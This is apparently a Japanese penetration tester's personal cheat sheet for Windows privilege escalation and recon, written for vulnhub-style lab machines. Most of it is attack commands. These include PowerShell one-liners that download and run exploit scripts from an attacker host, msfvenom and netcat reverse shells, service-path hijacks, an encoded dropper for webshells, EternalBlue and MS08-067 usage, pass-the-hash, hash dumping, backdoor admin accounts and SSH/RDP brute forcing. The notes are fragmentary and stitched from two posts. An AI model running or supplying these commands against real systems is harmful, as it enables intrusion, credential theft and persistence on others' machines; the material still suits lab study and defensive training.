でサービスを起動すると、Reverse shellがMeterpreter上で得られるが、数十秒で接続が切れてしまう。
そのため、
migrate PID
などで安定したSYSTEMプロセスに移動する必要がある。VMTools
,logon.scr
,winlogon
などで行けた。
srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c c:\Inetpub\wwwroot\shell.exe"
github.com
IKEEXT DLLHijack
Windows Vista / 7/8
ならIKEEXT
などの存在しないDLLを読み込もうとする脆弱性の可能性
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Ikeext-Privesc.ps1'));Invoke-IkeextCheck -Verbose "
以下に詳しい手順とPSのExploit Codeがある
https://github.com/itm4n/Ikeext-Privescgithub.com
Hot potato
ホットポテトは、NBNSおよびWPADのローカルスプーフィングに対処する脆弱性
WPAD用のローカルスプーファーをセットアップし、Defenderに更新を確認するように依頼して脆弱性をトリガーする。
DefenderはNT \ SYSTEMとして実行されているため、ハッシュを取得して独自のSMBサーバーに中継できる。
これをローカルSMBサーバーに中継したら、コマンドを実行できる
Windows 7/ 8/10/ Server 2008/ Server 2012
なら脆弱である可能性
以下のPowershellのExploit Codeが使える
詳しい判断基準は不明
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/Tater.ps1')); Invoke-Tater -Command 'net localgroup administrators jill /add' -exhaustudp Y"
github.com
おそらく以下の状態になれば失敗(????)
時間がかかるという文献もあるので待てばよい?
2020-03-02T01:26:59 - Tater (Hot Potato Privilege Escalation) started Local IP Address = 10.11.1.73 Spoofing Hostname = WPAD UDP Port Exhaustion Enabled Windows Defender Trigger Enabled Real Time Console Output Enabled Run Stop-Tater to stop Tater early Use Get-Command -Noun Tater* to show available functions Press any key to stop real time console output 2020-03-02T01:26:59 - Waiting for incoming HTTP connection 2020-03-02T01:26:59 - Trying to exhaust UDP source ports so DNS lookups will fa il 2020-03-02T01:27:00 - Couldn't bind to UDP port 161 2020-03-02T01:27:00 - Couldn't bind to UDP port 500 2020-03-02T01:27:02 - Couldn't bind to UDP port 3702 2020-03-02T01:27:02 - Couldn't bind to UDP port 4500 2020-03-02T01:27:02 - Couldn't bind to UDP port 5004 2020-03-02T01:27:02 - Couldn't bind to UDP port 5005 2020-03-02T01:27:03 - Couldn't bind to UDP port 5355 2020-03-02T01:27:50 - Couldn't bind to UDP port 56182 2020-03-02T01:27:54 - Couldn't bind to UDP port 60579 2020-03-02T01:27:55 - Couldn't bind to UDP port 61267 2020-03-02T01:27:58 - Couldn't bind to UDP port 64549 2020-03-02T01:27:59 - Flushing DNS resolver cache 2020-03-02T01:28:14 - DNS lookup failed so UDP exhaustion worked 2020-03-02T01:28:15 - Flushing DNS resolver cache 2020-03-02T01:28:15 - Starting NBNS spoofer to resolve WPAD to 127.0.0.1 2020-03-02T01:28:18 - WPAD has been spoofed to 127.0.0.1 2020-03-02T01:28:18 - Running Windows Defender signature update 2020-03-02T01:28:31 - HTTP request for /wpad.dat received from 127.0.0.1 2020-03-02T01:28:35 - Attempting to redirect to http://localhost:80/gethashes a nd trigger relay 2020-03-02T01:28:35 - HTTP request for http://go.microsoft.com/fwlink/?LinkID=1 21721&clcid=0x409&arch=x86&eng=0.0.0.0&asdelta=0.0.0.0&prod=925A3ACA-C353-458A- AC8D-A7E5EB378092 received from 127.0.0.1 2020-03-02T01:28:39 - HTTP request for /GETHASHES received from 127.0.0.1 2020-03-02T01:28:40 - HTTP to SMB relay triggered by 127.0.0.1 2020-03-02T01:28:40 - Grabbing challenge for relay from 127.0.0.1 2020-03-02T01:28:40 - Received challenge 42174A099FB0658A for relay from 127.0. 0.1 2020-03-02T01:28:40 - Providing challenge 42174A099FB0658A for relay to 127.0.0 .1 2020-03-02T01:28:41 - Sending response for \ for relay to 127.0.0.1 2020-03-02T01:28:41 - HTTP to SMB relay authentication failed for \ on 127.0.0. 1
以下原理などの参考文献
pentestlab.blog
foxglovesecurity.com
Users
net user
,net localgroup
,net localgroup "Remote Desktop Users"
自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
RDPできるユーザーも確認LocalSystem
administrator権限を与える。原則なんでもできる。
アカウント名:NT AUTHORITY\System
PEではこのlocalsystem,administrator権限を奪取することが目標となるLocal Service
Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
ネットワーク・リソースへのアクセスも、特定アカウントではなく匿名の資格情報に制限される。
デフォルトでは、ローカルとネットワークのどちらのリソースに対しても、Systemほど強力な権限を必要としないサービスで利用されている。
アカウント名:NT AUTHORITY\LocalServiceNetwork Service
Local Serviceと同じく、Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
ただしネットワーク・リソースには、Systemと同じくローカルのコンピュータ・アカウントの資格情報でアクセスできることから、Systemほど強力な権限を必要としないネットワーク系サービスで利用されている。
アカウント名:NT AUTHORITY\NetworkServiceAuthenticated Users
AD(ドメイン)ならドメインにログオンできるユーザーは皆Authenticated Usersに所属
ローカルPCの場合は、そのPCにログインできるユーザーはAuthenticated Usersに所属。
但しGuestアカウントは認証ユーザーではないので、Authenticated Usersに所属していない。
Privileges
Juicy Potato
SeImpersonatePrivilege
またはSeAssignPrimaryTokenPrivilege
を持っていてx64の場合、Juicy Potatoが有効
以下から64bitバイナリをダウンロード
github.com
hunter2.gitbook.io
Rotten potato
- 説明
Rotten Potatoは、セキュリティトークンを偽装することで実行できる、Windowsでの権限昇格方法 - 脆弱かどうか
- SeImpersoncatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
を持っている場合、脆弱。
以下、詳しい手順が書いている参考文献
areyou1or0.blogspot.com
その他の脆弱な権限は以下を参照
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges
- SeImpersoncatePrivilege
環境変数
Find-PathDLLHijack
PATH変数の中に書き込み権限がある場所がないかどうか調べる
非常に重要
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Find-PathDLLHijack "
Writable
- file/Directry
icacls
icacls
のF
もしくはM(?)
がPower UsersやBUILTIN\Users,NT AUTHORITY\Authenticated Usersに与えられている場合、実行ファイルを置き換えられる。
その実行ファイルがSYSTEMで起動するサービスと関係している場合に有効autoruns
=== Modifiable Registry Autoruns ===
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run : C:\Program Files\Autorun Program\program.exe
SharpUp.exe
の結果で書き込み可能な場所に自動起動するプログラムがある場合有効accesschk.exe -dqv "C:\Python27"
上記でディレクトリやファイルの権限を確認
- Service
sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
RW
がNT AUTHORITY\Authenticated Usersなどに与えられている場合、上記でサービスのバイナリPATHを書き換えられる
XP SP1はデフォルトでこれが可能sc qc upnphost
で確認
sc
コマンドでレジストリからキーを取得する(?)。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\upnphost
でも同じことができるaccesschk.exe -ucqv upnphost
でこのサービスのレジストリキーに書き込み可能かどうか確認できる
powershell -Command "Get-Acl -Path HKLM:\System\CurrentControlSet\Services\upnphost"
でも同じことができるが、PSv3.0以降でしか使えない
accesschk5-2.exe -uwcqv "Authenticated Users" * /accepteula
winXP/2003なら5-2versionを使う必要があるらしい。net stop upnphost
,net start upnphost
,wmic service NAMEOFSERVICE call startservice
でサービスを起動するsc sdshow wampapache
サービスに付与されている権限をDACL構文で表示
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
例えば上記の場合、
SY(Local System)
,BA(Builtin Administrators)
にはサービスの起動(RP)・停止(WP)権限があるが、
IU(対話型ログオン ユーザー)
,SU(Service Logon User)
にはその権限はない。
そのためサービスの再起動ができない。
また、accesschk.exe -ucqv wampapache
でサービスに対するレジストリキーへの書き込み権限を表示する。
Medium Mandatory Level (Default) [No-Write-Up] RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS R NT AUTHORITY\INTERACTIVE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL R NT AUTHORITY\SERVICE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL
この場合、一般権限のユーザーでは書き込み権限がないので起動・停止権限を付与することもできない。
DACL構文の参考文献
https://support.microsoft.com/ja-jp/help/914392/best-practices-and-guidance-for-writers-of-service-discretionary-acces
Unquoted file path
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
自動起動するサービスで、引用符に囲まれていないサービスを列挙する。
一般にC:\Windows
には書き込み権限がないのでそこを除外している(?)C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
となっている場合、
C:\Program.exe
C:\Program Files\Unquoted.exe
C:\Program Files\Unquoted Path Service\Common.exe
のように実行ファイルを設置できれば有効
AlwaysInstallElevated
=== AlwaysInstallElevated Registry Keys === HKLM: 1 HKCU: 1
となっていると脆弱
実行する特権が自動的に昇格されるため、管理者がワークステーションにアクセスしなくても、低い特権のユーザーがインストールを実行できます。
これを悪用するには、.msiインストーラーを実行する
- msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=10.22.6.122 -f msi > Install.msi
Get System
- Get-System.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.1/exploit/windows/Get-System.ps1')); Get-System -Technique NamedPipe"
Tokenvator4.5.exe GetSystem
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
PsExec.exe -s -i cmd.exe
python getsystem.py
以下にMetasploitを使わずにGet-Systemが実行できるファイルがある
github.com
github.com
github.com
Credential
cmdkey /list
runas /savecred /user:WORKGROUP\Administrator "C:\User\john\evil.exe"
保存されたクレデンシャルがある場合はそれを使って、任意のプログラムをその権限で実行できるC:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
パスワードを使って実行することもできる
PsExec -u tom -p iamtom \\TOMSCOMP C:\path\to\nc.exe IP_OF_ATTACKING_SYSTEM 8080 -e C:\windows\system32\cmd.exe
PsExec64.exe -u "Batman" -p "Zx^#QZX+T!123" C:\Windows\System32\spool\drivers\color\reverse-arkham.exe -accepteula
でも可能(?)
$username = 'batman' $password = 'Zx^#QZX+T!123' $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.14.8 4445 }
をPowershell上で実行して、得られたクレデンシャルとして実行できる!
schtasks /Create /RU {domain name?(eg ARKHAM)}\{username} /RP "{password}" /SC MINUTE /MO 1 /TN logtracker /TR reverse-shell.exe
をcmd上で実行でもできそう?
- registry
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
- reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
- C:\WINNT\system32\config
reg
コマンドが使用できないとき(win2000)。
Kernel Exploit
python pyinstaller.py --onefile exploit.py
pythonで書かれたExploitをWindowsで動かすために.py
を.exe
に変換する。
dist
ディレクトリにバイナリが書き込まれるCompiled exe
以下にコンパイル済みのバイナリがある
github.com
DLL Hijack
- 概要
存在しないDLLを読み込もうとするようなサービスがある場合、悪意のあるDLLを設置すれば起動時にそれを読み込ませられる。
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
以下の順番で読み込まれる - 読み込まれる順番
1 The directory from which the application loaded
2 32-bit System directory (C:\Windows\System32)
3 16-bit System directory (C:\Windows\System)
4 Windows directory (C:\Windows)
5 The current working directory (CWD)
6 Directories in the PATH environment variable (system then user)
- DLL Hijackable service
MSDTC
,MSINFO
,Narrator
などが可能らしい。
以下に詳しく書いてある。
pentestlab.blog
PowerSploit
以下にほぼすべてのモジュールの使い方が丁寧に書いてある
powersploit.readthedocs.io
File Upload
upx -9 nc.exe
tftp
などではサイズの大きいファイルの送信にかなり時間がかかるのでUPXでサイズを小さくする。tftp -i 10.11.0.5 get nc.exe
atftpd --daemon --port 69 /tftp
を実行して、/tftp
にアップしたいファイルを用意することでUploadできる
Windows XPにはデフォルトでTFTPクライアントが組み込まれているが、Windows 7には組み込まれていない。powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1')"
- meterpreter
upload evil_trojan.exe c:\\windows\\system32
download c:\\boot.ini
certutil.exe -urlcache -split -f http://10.11.0.11/exploit/windows/reverse-shell4445.exe reverse-shell4445.exe
- powershell empire
upload /tmp/launcher.bat
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
echo+strUrl+%3D+WScript.Arguments.Item%280%29+%3E+wget.vbs+%26+echo+StrFile+%3D+WScript.Arguments.Item%281%29+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DEFAULT+%3D+0+%3E%3E+wget.vbs+%26++echo+Const+HTTPREQUEST_PROXYSETTING_PRECONFIG+%3D+0+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DIRECT+%3D+1+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_PROXY+%3D+2+%3E%3E+wget.vbs+%26+echo+Dim+http%2C+varByteArray%2C+strData%2C+strBuffer%2C+lngCounter%2C+fs%2C+ts+%3E%3E+wget.vbs+%26+echo+Err.Clear+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest.5.1%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22MSXML2.ServerXMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22Microsoft.XMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+http.Open+%22GET%22%2C+strURL%2C+False+%3E%3E+wget.vbs+%26+echo+http.Send+%3E%3E+wget.vbs+%26+echo+varByteArray+%3D+http.ResponseBody+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+fs+%3D+CreateObject%28%22Scripting.FileSystemObject%22%29+%3E%3E+wget.vbs+%26+echo+Set+ts+%3D+fs.CreateTextFile%28StrFile%2C+True%29+%3E%3E+wget.vbs+%26+echo+strData+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+strBuffer+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+For+lngCounter+%3D+0+to+UBound%28varByteArray%29+%3E%3E+wget.vbs+%26+echo+ts.Write+Chr%28255+And+Ascb%28Midb%28varByteArray%2ClngCounter+%2B+1%2C+1%29%29%29+%3E%3E+wget.vbs+%26+echo+Next+%3E%3E+wget.vbs+%26+echo+ts.Close+%3E%3E+wget.vbs
Webshellが設置できると、このワンライナーをwebshell.php?cmd=echo+....
みたいにすることで、wget.vbs
を作成する
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
echo $storageDir = $pwd >wget.ps1 echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://[kali ip]/[file]" >>wget.ps1 echo $file = "[file]" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
smbserver.py a /usr/share/windows-binaries/
Kali上でImpacketのsmbserver.pyを使用することで、445ポート上にSMBサーバーを立ち上げる。
windowsからは\\10.10.14.25\a\whoami.exe
などでローカルにあるようにコマンドを実行できる。
dir
,copy
なども可能。
また、Windowsから接続してきた際のsmbserver.pyのログから現在のWindowsのユーザーのハッシュが取得できる可能性がある。
blog.ropnop.com
有名なExploit
MS08-067(netapi)
python ms08-067-modi.py 10.10.10.1 7 445
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows --var-name shellcode
でカスタムペイロードを作成して、shellcodeの中身を変更して実行。
わかりやすい。
Usage: ms08-067-modi.py <target ip> <os #> <Port #> Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
github.com
www.exploit-db.com
www.exploit-db.com
MS17-010(eternal blue)
python ms17-010-zzz.py -t 10.11.1.1 -c "net user" -u root -p root
使用できる名前付きパイプが見つからない、みたいなエラーが発生する場合は、以下のスクリプトでusernameとPasswordを適当に設定する必要がある。
名前付きパイプは、
use auxiliary/scanner/smb/pipe_auditor
で使用可能なものを列挙できる。
/usr/share/metasploit-framework/data/wordlists/named_pipes.txt
に名前付きパイプのWordlistがある。
-c
で任意のコマンドをSYSTEMとして実行できる。
github.compython zzz_exploit.py -t 10.11.1.75 -u root -p root -c "cmd"
以下のスクリプトでもコマンドを実行できたが、FirewallによってOutboundが制御されている場合は実行に失敗した。(気のせい?)
github.compython send_and_execute.py 10.11.1.1 reverse-shell.exe
usernameやPasswordを設定しなくてもコマンドが実行できるなら、これでReverse shellを得られる。
github.comuse auxiliary/admin/smb/ms17_010_command
Metasploitでコマンドを実行できる。use exploit/windows/smb/ms17_010_eternalblue
MetasploitでReverse shellを得られる。
Abusing Token
meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege
Meterpreter上でload incognito
で利用・偽装可能なトークンを列挙できる。
Administratorに昇格できる場合がある。
meterpreter > load incognito Loading extension incognito...Success. meterpreter > list_tokens -g [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== BUILTIN\Administrators BUILTIN\Guests BUILTIN\Performance Log Users BUILTIN\Users NT AUTHORITY\Authenticated Users NT AUTHORITY\NETWORK NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\NTLM Authentication NT AUTHORITY\SERVICE NT AUTHORITY\This Organization Impersonation Tokens Available ======================================== No tokens available meterpreter > impersonate_token "BUILTIN\Administrators" [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
PowershellでTokenを操作できるスクリプトがあるらしい。
https://hacknpentest.com/privilege-escalation-through-token-manipulation/hacknpentest.com
Post Exploit
- Mimikatz
Active Directoryで管理されている組織のネットワークに所属するホストの場合は、ネットワーク管理者による管理を円滑にするために、複数の端末で共通のパスワードが設定された状態でアカウントが有効化されている場合が多い。
よって、SYSYEMを取得したあとは、ホストに保存されているNTLMハッシュのダンプして、PassTheHashによって同じパスワードを使用している、同じネットワーク内の別のホストへと横移動できる
Mimikatzは実行に管理者権限を必要とする
Invoke-Mimikatz -DumpCreds
,Seatbelt.exe
で確認 Pass the Hash
fgdump.exe
wce32.exe -w
python psexec.py Administrator:password@10.11.1.1
資格情報が得られた場合はImpacketのPsExecモジュールでログインできるかも。python wmiexec.py -hashes :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Administrator@10.11.1.1
hashが得られている場合はImpacketのwmiexecモジュールでPTHできるかも。
:aaa...
とすることでLMハッシュを省略。
www.hackingarticles.in
blog.ropnop.com
add backdoor
net user backdoor pass /add
net localgroup administrators backdoor /add
todo!!
以下を参照
github.com
参考文献
PEの方法を非常に丁寧に書いてあってわかりやすい。
github.com
www.fuzzysecurity.com
github.com
sushant747.gitbooks.io
github.com
vulnhub 調査方針メモ
WindowsのPrivilegeEscalationと調査方針のメモです。
自分用のチートシートも兼ねているので、見にくかったり適当なのはご容赦ください。
Linux のPrivilege EscalationとInformationGatheringは以下に雑にまとめています。
7万字を超えたあたりからレスポンスが遅くなって編集しづらいので分割しました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたWindowsPEは以下を参照してください。
調査の順番
Information Gathering
scan
- portの正確なEnum(tcp,udp)
- 各portで動いているサービスのバージョンの特定(可能であれば)
見たことなければ参照。あっても参照した方がいいかも。
sushant747.gitbooks.io - Webserverのバージョン特定
- Web Applicationの特定
python3 autorecon.py 192.168.56.5
とりあえずAutoReconを実行しておく
ただしnmapやniktoを使うので出力に時間がかかる
AutoRecon
のUDPスキャン
も確認する
_quick_tcp_nmap.txt
がhost downになっていると失敗しているので、AutoReconを再度やり直す。
nmap -vv --reason -Pn -sV -sC --version-all 10.11.1.1
を実行している。(1000portをdefault categoryでScan)bash onetwopunch.sh -t target.txt -p tcp -i tap0
nmapに比べて圧倒的に早いbash onetwopunch.sh -t target.txt -p udp -i tap0
UDPでも行うnmap 192.168.56.5 --top-ports 10 -open
情報は少ないが、一瞬で列挙できる.
ftp, ssh, telnet, smtp, http, POP3, netbios-ssn, https, microsoft-ds, ms-wbt-server
を確認。
nmap 192.168.56.5 --top-ports 100 -open
も実行。
nmap -p- -sV -sT -A 192.168.56.13
-p-
をすると時間がかかるが、AutoReconで漏れがあることが稀にあるので実行しておく。
ポートスキャンでは絶対にEnum漏れはダメなのでnmap以外でも試したり、二重に確認するnikto -h 192.168.56.5
時間がかかるためとりあえず早めに実行しておくgobuster -u http://192.168.56.5/ -w /usr/share/dirb/wordlists/big.txt -s '200,204,301,302,307,403,500' -e
dirb
やwfuzz
よりも速い
ディレクトリが見つかれば再度その中でgobuster
-k
オプションでhttps
のinvalid certificate
のerrorを回避。curl -v 192.168.56.5
ヘッダの情報などを確認curl 192.168.56.5 -s -L | html2text
レンダリングenum4linux -a 10.11.1.1
AutoReconでも実行するが出力内容が違うことがある(??)ので手動でも実行。
Sambaのバージョンが特定できていない場合はsmbver.sh
やuse auxiliary/scanner/smb/smb_version
を使用。
bash smbver.sh 10.11.1.1 139
python3 parsero.py -u 192.168.56.5
robots.txt
に書かれているDisallowの場所を調べる
- portの正確なEnum(tcp,udp)
user,password listの作成
列挙した情報から得られたユーザー名などをメモする
マシンのホスト名もWordlistに加える。- portの詳細な調査
あやしいものなどはtodoやMemoとして追加していく
上に行くほど優先度が高くなるように順次入れ替えなどを行う
各ポートの詳しい調査は以下を参照。
github.com
80 port (30分)
- Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
- Sorce codeを読んでApplicationやCMSの特定
- AddOnやModuleの確認
- Install.txtなどの設定やVersionが読み取れるファイルにアクセスできるか確認
- LoginでデフォルトLogin、SQLInjetionできるか確認
nmap -vv --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" 10.11.1.0
AutoReconが列挙漏れした場合、Nmapは手動で行わないといけない。- その他の挙動など
そのほかのポートも時間を決めて調査する。Exploitはまだ探さない(すべてを列挙する必要がある)
- Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
110(POP)
- Banner の取得
これ結構大事(な気がする)
そのポートの挙動を大体把握する必要がある
telnet 192.168.56.5 110
telnetでUSER PASSなどでログインできるのかなど
- NSE script
- Metasploit
- other tools
- Banner の取得
- **22(ssh)
- Bannerの取得
password認証?公開鍵認証?既知のFingerprint?
- Bannerの取得
- 139/445(smb)
OSのバージョン、Sambaのバージョンの両方の特定
- exploitの検索
Google
大事searchsploit aaaa | grep -vi 'dos' | grep -vi 'windows'
今まで得られた情報(ポートで動いているSoftwareのバージョンなど)の中のあり得るすべてのExploitを探して、その中から明らかにExploitが存在しないものを除外していく。
Exploit
- 目標
IGで見つけたexploitを試してみる
優先度が高いものから順に30~90分の時間で動くかどうか確認する。
動かす前に必ずどういうExploitか確認。
対象のOSは?? remote/local/dos ?? unix/linux/windows ??
自分で書いていないコードを読んでいるとき、すべての行にコメントを追加すると理解しやすい
それっぽい脆弱性が見つかれば、nmap
のScriptを使って確認するの良さそう
Reverse shell payloadを試す前に、Payloadが実行できるのかどうかを確認する(payloadが違うのかFirewallがあるのかなどの原因を特定しやすくする)
windows用のバイナリをクロスコンパイルするときは、
i686-w64-mingw32-gcc test.cpp -o test.exe -lws2_32
-lws2_32
でWindowsでソケット通信を行うのに必要なライブラリを指定してコンパイル。
wine test.exe
で実行する。wordlistの作成
cewl -w wordlist http://192.168.136.212:1898/?q=node/1
book.hacktricks.xyz
- ssh Brute force
hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
hydra -e nsr -L user -t 4 192.168.56.16 ssh
hydra -L user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
python crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
- rdp Brute force
ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5
Windowsの場合
privilege escalation
Information Gathering(Enum)
- powerless.bat
accesschk.exe
をアップロードしてから実行するとよい - Sherlock.ps1
- Session Gopher.ps1
- JAWS
- WindowsEnum.ps1
- PowerUp.ps1
- beRoot
- windows-privesc-check2.exe
- windows-exploit-suggester.py
- Find-PathDLLHijack.ps1
- Seatbelt.exe
- SharpUp.exe
- Metasploit
use post/multi/recon/local_exploit_suggester
exploit/windows/local/service_permissions
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 10.11.0.1 set lport 4444
- Manual
systeminfo
net user
net user john
net localgroup
net localgroup administrators
accesschk.exe -ucqv wampapache
Serviceのレジストリキーへの権限を確認。sc qc upnphost
Serviceのレジストリキーの値を確認。
SERVICE_START_NAME
でサービスがどの権限で起動しているかわかる(??)sc sdshow wampapache
Serviceに対する権限(WP:停止,RP:起動)を確認。autorunsc.exe -a | findstr /n /R "File\ not\ found"
自動起動するようなサービスで、その実行ファイルが存在しないようなサービスがないか確認。
これらのツールを使ってまずは以下をざっくりと調べる
深追いはしない。怪しければTodoに優先度順に追加していく
- Powershellが使える場合(Windows 7 / Windows Server 2008 R2 以降)
Empireは実行が遅いやつがあるので、あらかじめ決めておいたScriptのみ実行。あとはExeをUploadするために使う。
certutil.exe -urlcache -split -f "http://10.11.0.11/exploit/windows/launcher.bat" launcher.bat
でStagerをUploadして実行。
spawn lister名
で一つのSessionは残しておく(実行中にSessionが切れたら嫌なので)。
upload /var/www/html/priv/windows/Accesschk/accesschk.exe
upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
で調査に必要なバイナリをUploadしておく。
upload /var/www/html/exploit/windows/reverse-4445.exe
で、meterpreter
を使いたいならUploadして実行する。 - Powershellが使えない場合
tftp
などを使うことになる。
以下から紹介するツールのPSスクリプトが実行できないので、足りない場所は手動で補う。
system
powerless.bat
------ System Info (Use full output in conjunction with windows-exploit-suggester.py)------- ----- Architecture -------
echo %PROCESSOR_ARCHITECTURE%
OSの名前やバージョンやx86かx64か。
powerless.bat
やJAWS
, systeminfo
,Seatbelt.exe
で調べる
XP SP1
ならupnphost
のBINARY_PATHを書き換えられる脆弱性がある可能性
Windows Vista / 7/8
ならIKEEXT
などの存在しないDLLを読み込もうとする脆弱性の可能性
Users
powerless.bat
の
------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) ------- USER INFORMATION ---------------- GROUP INFORMATION ----------------- --- All users, accounts and groups --- ------- Administrators --------
jaws
の
----------------------------------------------------------- Users -----------------------------------------------------------
Seatbelt.exe
,JAWS
などで調べる
net user
,net localgroup
,net localgroup "Remote Desktop Users"
